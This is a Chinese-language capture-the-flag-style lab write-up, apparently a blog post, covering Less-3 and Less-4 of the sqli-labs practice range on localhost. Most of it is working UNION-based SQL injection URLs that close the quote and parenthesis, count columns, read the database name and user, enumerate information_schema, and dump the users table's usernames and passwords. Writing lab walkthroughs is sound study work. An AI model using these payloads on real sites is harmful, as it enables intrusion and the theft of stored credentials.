打穿sqli-labs第三天(less-3,less-4)
less-3
开启靶场环境,选择第三关
根据关卡提示,此关参数类型为字符型,且使用单引号和括号对参数值进行过滤
进入关卡,根据提示传参
http://127.0.0.1/sqli-labs-master/Less-3/?id=1
测试注入点是否存在
http://127.0.0.1/sqli-labs-master/Less-3/?id='
页面回显报错,证明成功带入数据库执行。根据页面报错提示可知,此处对参数值使用了单引号和括号进行过滤,所以在后续构造SQL语句时要闭合单引号和括号
尝试闭合符号与进一步确定注入点是否存在
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=1 --+ //页面回显正常
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 --+ //页面回显错误
爆破字段长度
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4 --+
根据页面回显确定字段长度为3
获取报错字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,2,3 --+
根据页面回显确定报错字段为2和3
利用报错字段查询网站信息(数据库名和连接数据库用户)
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,database(),user() --+
根据页面回显所知:数据库名:security、连接数据库用户:root@localhost(root用户)
查询目标数据库下的所有表名信息
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查询目标表名(uses)下的所有列名信息
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
查询目标列(username、password)下的所有字段值信息
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
less-4
开启靶场环境,选择第四关
根据靶场关卡提示,此关卡参数类型为字符型使用双引号过滤
根据页面提示传参
http://127.0.0.1/sqli-labs-master/Less-4/?id=1
测试注入点是否存在
http://127.0.0.1/sqli-labs-master/Less-4/?id=' //页面回显错误,但是没有报错提示
使用单引号测试页面回显错误但无报错提示原因在于:单引号虽然成功带入数据库执行但是被参数的符号过滤了
使用双引号继续测试,页面回显报错提示
http://127.0.0.1/sqli-labs-master/Less-4/?id="
根据页面报错提示,确定此处对参数值使用双引号和括号进行过滤
尝试闭合符号与进一步确定注入点是否存在
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=1 --+ //页面回显正常
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 --+ //页面回显错误
猜解字段长度
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+
猜解报错字段数
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 union select 1,2,3 --+
根据页面回显得知报错字段数位2和3
利用报错字段数获取数据库名与连接数据库都用户信息
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 union select 1,database(),user() --+
网站数据库信息:数据库名:security、连接数据库用户:root@localhost
使用获取到的数据库名,查询目标数据库(security)下的所有列名信息
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查询目标表(users)下的所有列名信息
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
查询目标列(username、password)下的所有字段值信息
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
总结
在测试注入点是否存在时,可能会遇到字符型参数,并且使用不同的符号对参数值进行过滤,此时只需要不停的更换符号进行测试直到页面成功回显报错信息,再根据报错信息确实使用的过滤符号即可。